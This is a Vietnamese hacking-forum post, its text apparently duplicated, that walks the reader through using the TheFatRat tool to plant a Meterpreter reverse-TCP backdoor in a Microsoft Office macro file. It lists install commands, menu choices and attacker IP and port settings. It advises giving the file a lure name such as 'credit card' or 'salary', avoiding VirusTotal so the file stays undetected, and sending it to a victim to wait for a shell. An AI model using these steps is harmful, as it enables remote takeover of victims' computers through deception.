maldet
VIP Members
-
31/08/2016
-
112
-
103 bài viết
Tạo Microsoft Office backdoor với TheFatRat
TheFatRat là một công cụ tạo backdoor khá hay. Tuy nhiên, trong bài này mình sẽ chỉ hướng dẫn sử dụng công cụ TheFatRat để chèn backdoor vào tập tin Office trên nền tảng Windows. Ngoài ra các bạn có thể mày mò thêm các chức năng khác.
Cần chuẩn bị:
1. Cài đặt TheFatRat:
2. Sau khi cài đặt thành công và chạy TheFatRat, lần lượt thực hiện theo thứ tự sau:
Chọn [6] Create Fud Backdoor 1000% with PwnWinds [Excellent]
Chọn [2] The Microsoft Office Macro on Windows
SET LHOST: IP của kẻ tấn công
SET LPORT: cổng dịch vụ
Enter the base name for output files: tên của tập tin được chèn backdoor, đặt cho hấp dẫn để kích thích nạn nhân muốn mở ra (ví dụ: credit card, salary, ...).
Hộp thoại Available Payloads: Chọn windows/meterpreter/reverse_tcp
Sau đó chờ backdoor được tạo tự động. Nên nhớ đừng tải "sản phẩm" lên Virustotal nhé
3. Gửi "sản phẩm" cho nạn nhân, làm tách cafe và chờ nạn nhân mở lên để khai thác thôi!
Video demo để dễ theo dõi:
Cần chuẩn bị:
- TheFatRat (đương nhiên)
- Kali Linux
1. Cài đặt TheFatRat:
- git clone https://github.com/Screetsec/TheFatRat.git
- cd TheFatRat
- chmod +x setup.sh && ./setup.sh
2. Sau khi cài đặt thành công và chạy TheFatRat, lần lượt thực hiện theo thứ tự sau:
Chọn [6] Create Fud Backdoor 1000% with PwnWinds [Excellent]
Chọn [2] The Microsoft Office Macro on Windows
SET LHOST: IP của kẻ tấn công
SET LPORT: cổng dịch vụ
Enter the base name for output files: tên của tập tin được chèn backdoor, đặt cho hấp dẫn để kích thích nạn nhân muốn mở ra (ví dụ: credit card, salary, ...).
Hộp thoại Available Payloads: Chọn windows/meterpreter/reverse_tcp
Sau đó chờ backdoor được tạo tự động. Nên nhớ đừng tải "sản phẩm" lên Virustotal nhé
3. Gửi "sản phẩm" cho nạn nhân, làm tách cafe và chờ nạn nhân mở lên để khai thác thôi!
Video demo để dễ theo dõi:
Chỉnh sửa lần cuối:
